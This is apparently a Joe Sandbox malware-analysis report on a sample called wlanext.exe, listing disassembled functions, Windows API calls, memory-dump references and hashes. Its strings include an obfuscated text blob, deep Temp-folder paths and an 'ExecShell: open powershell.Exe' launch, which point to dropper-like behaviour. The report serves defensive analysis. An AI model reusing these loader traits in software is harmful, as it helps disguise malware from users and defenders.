Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically$Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri$mutules Setup: Installing
API String ID: 2624150263-2469534245
Opcode ID: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction ID: 7ea719a0b93bcaca37b111b678a2b5d6f3f78fc0ed79788128ac85d93e839f9f
Opcode Fuzzy Hash: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction Fuzzy Hash: D5A18EB1900209ABDB11AFA5CC45AAFB7B8EF85314F10843BF711B62D1D77C8A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8

Strings

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne, xrefs: 0040218C

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne
API String ID: 123533781-761541495
Opcode ID: d32f706032865399c21e01835d78d7d3de65d8f65ecd14f1cd30b79e932c2bd5
Instruction ID: 13bc962cd5a1e0844f107594f4b7cb0b9a1bacf2988c66099de3663f442cfceb
Opcode Fuzzy Hash: d32f706032865399c21e01835d78d7d3de65d8f65ecd14f1cd30b79e932c2bd5
Instruction Fuzzy Hash: 5A5107B5E00208BFCB00DFE4C988A9DBBB6EF48314F2445AAF515FB2D1DA799941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404225 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004042B0
GetDlgItem.USER32(00000000,000003E8), ref: 004042C4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004042E2
GetSysColor.USER32(?), ref: 004042F3
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404302
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404311
lstrlenA.KERNEL32(?), ref: 00404314
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404323
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404338
GetDlgItem.USER32(?,0000040A), ref: 0040439A
SendMessageA.USER32(00000000), ref: 0040439D
GetDlgItem.USER32(?,000003E8), ref: 004043C8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404408
LoadCursorA.USER32(00000000,00007F02), ref: 00404417
SetCursor.USER32(00000000), ref: 00404420
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404433
LoadCursorA.USER32(00000000,00007F00), ref: 00404440
SetCursor.USER32(00000000), ref: 00404443
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040446F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404483

Strings

N, xrefs: 004043B6
open, xrefs: 0040442B

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction ID: 93f755629d35b640548b5af6b7c61ab120d2ba211fed136cde477a70902604c8
Opcode Fuzzy Hash: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction Fuzzy Hash: 5D61A3B1A40209BFEB109F61DC45F6A7B69FB84714F10803AFB057A2D1C7B8A951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction ID: f6076547c65416f673289c9e9aa760257b54fe90aa12de16c0a46004740ece36
Opcode Fuzzy Hash: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction Fuzzy Hash: C2419B71804249AFCF058FA4CD459AFBBB9FF45310F00812AF961AA1A0C738EA50DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AC0,NUL,?,00000000,?,00000000,00405DD3,?,?), ref: 00405C4F
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405DD3,?,?), ref: 00405C73
GetShortPathNameA.KERNEL32(?,00421AC0,00000400), ref: 00405C7C

Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

GetShortPathNameA.KERNEL32(00421EC0,00421EC0,00000400), ref: 00405C99
wsprintfA.USER32 ref: 00405CB7
GetFileSize.KERNEL32(00000000,00000000,00421EC0,C0000000,00000004,00421EC0,?,?,?,?,?), ref: 00405CF2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D01
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D39
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216C0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D8F
GlobalFree.KERNEL32(00000000), ref: 00405DA0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DA7

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Strings

NUL, xrefs: 00405C49
%s=%s, xrefs: 00405CAD
[Rename], xrefs: 00405D21, 00405D33

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 30ac7a5acef1d7f75a13c0270bff3690167eaba47458eb60107b542945271994
Instruction ID: 58b8e60db813422e8a8f05baf12fe1cb7cc397f7baf35d3febd204dd1aeecf15
Opcode Fuzzy Hash: 30ac7a5acef1d7f75a13c0270bff3690167eaba47458eb60107b542945271994
Instruction Fuzzy Hash: D031C271A04B596BD2202B219D49F6B3A6CDF85754F18003BF901F62D2E67CA8018EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405F19 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,ExecShell: open powershell.Exe,00000000,00405148,ExecShell: open powershell.Exe,00000000), ref: 00405FCA
GetSystemDirectoryA.KERNEL32(004226C0,00000400), ref: 00406045
GetWindowsDirectoryA.KERNEL32(004226C0,00000400), ref: 00406058
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00406094
SHGetPathFromIDListA.SHELL32(00000000,004226C0), ref: 004060A2
CoTaskMemFree.OLE32(00000000), ref: 004060AD
lstrcatA.KERNEL32(004226C0,\Microsoft\Internet Explorer\Quick Launch), ref: 004060CF
lstrlenA.KERNEL32(004226C0,?,ExecShell: open powershell.Exe,00000000,00405148,ExecShell: open powershell.Exe,00000000), ref: 00406121

Strings

Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri, xrefs: 004060F9
ExecShell: open powershell.Exe, xrefs: 00405F48
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060C9
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406014

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri$ExecShell: open powershell.Exe$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-630491201
Opcode ID: 521fdc2f3cd0776fbde1491da10ac9960061000f854978891c2665b2fadf9274
Instruction ID: 17f1afa1df4653d6aa239bb2462815deac18f6a32033811d9d8cd7bf3bfa2e02
Opcode Fuzzy Hash: 521fdc2f3cd0776fbde1491da10ac9960061000f854978891c2665b2fadf9274
Instruction Fuzzy Hash: 68613671A00111AEDF209F24CC84BBF3BA8EB45314F12813BE942BA2D1D77D4962DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004055D6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619
GetLastError.KERNEL32 ref: 0040562D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405642
GetLastError.KERNEL32 ref: 0040564C

Strings

ds@, xrefs: 0040560B
C:\Users\user\Desktop\a, xrefs: 004055D6
C:\Users\user\AppData\Local\Temp\, xrefs: 004055FC
ts@, xrefs: 004055DC

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\a$ds@$ts@
API String ID: 3449924974-416680942
Opcode ID: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction ID: f6395dc840433d181f75b3fc8fae80690a43e09e82cbb082af9cf45b84ce1534
Opcode Fuzzy Hash: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction Fuzzy Hash: 82010871D04259EAEF119FA0DC44BEFBFB8EB14314F008576D908B6280D779A604CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00406162 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\a\wlanext.exe" ,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
CharNextA.USER32(?,?,?,00000000), ref: 004061C7
CharNextA.USER32(?,"C:\Users\user\Desktop\a\wlanext.exe" ,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
CharPrevA.USER32(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406163
*?|<>/":, xrefs: 004061AA
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 0040619E

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3646472256
Opcode ID: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction ID: 28f88d73301ddfe76a8902f897fcc58808f561dcfc6ac49559e28e986a88295b
Opcode Fuzzy Hash: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction Fuzzy Hash: AF11C8718083912DFB3216644C44B777F998F9A760F19007BE9D6762C3C67C5C53826D

Uniqueness

Uniqueness Score: -1.00%

Function 00404143 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404160
GetSysColor.USER32(00000000), ref: 0040417C
SetTextColor.GDI32(?,00000000), ref: 00404188
SetBkMode.GDI32(?,?), ref: 00404194
GetSysColor.USER32(?), ref: 004041A7
SetBkColor.GDI32(?,?), ref: 004041B7
DeleteObject.GDI32(?), ref: 004041D1
CreateBrushIndirect.GDI32(?), ref: 004041DB

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 7122de99037e03f190bb62226e04253736cb74e6c142f140589d3e5d77d1f23d
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: DB21A4B5804704ABCB219F78DD08B5BBBF8AF41714F048629E995E62E0C734E944CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00402CAB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402CC3
GetTickCount.KERNEL32 ref: 00402CE1
wsprintfA.USER32 ref: 00402D0F

Part of subcall function 00405110: lstrlenA.KERNEL32(ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(ExecShell: open powershell.Exe,00402D22,00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(ExecShell: open powershell.Exe,ExecShell: open powershell.Exe), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402D33
ShowWindow.USER32(00000000,00000005), ref: 00402D41

Part of subcall function 00402C8F: MulDiv.KERNEL32(0005FF5A,00000064,00065B99), ref: 00402CA4

Strings

... %d%%, xrefs: 00402D09

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 5593748e03769e8282f5a4e13d51bfdaaff2e2128a645ccee91643bd44d6f548
Instruction ID: 547fa0e596d0efa3134ade0ba199646732fee1a7f54f1ab5f8be41358a9578df
Opcode Fuzzy Hash: 5593748e03769e8282f5a4e13d51bfdaaff2e2128a645ccee91643bd44d6f548
Instruction Fuzzy Hash: DC019BB0906614E7EB21BB64EF0DEDE766CEB04701B444037F405B11E5C7B89941D79E

Uniqueness

Uniqueness Score: -1.00%

Function 004049DB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049F6
GetMessagePos.USER32 ref: 004049FE
ScreenToClient.USER32(?,?), ref: 00404A18
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A2A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A50

Strings

f, xrefs: 00404A2C

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

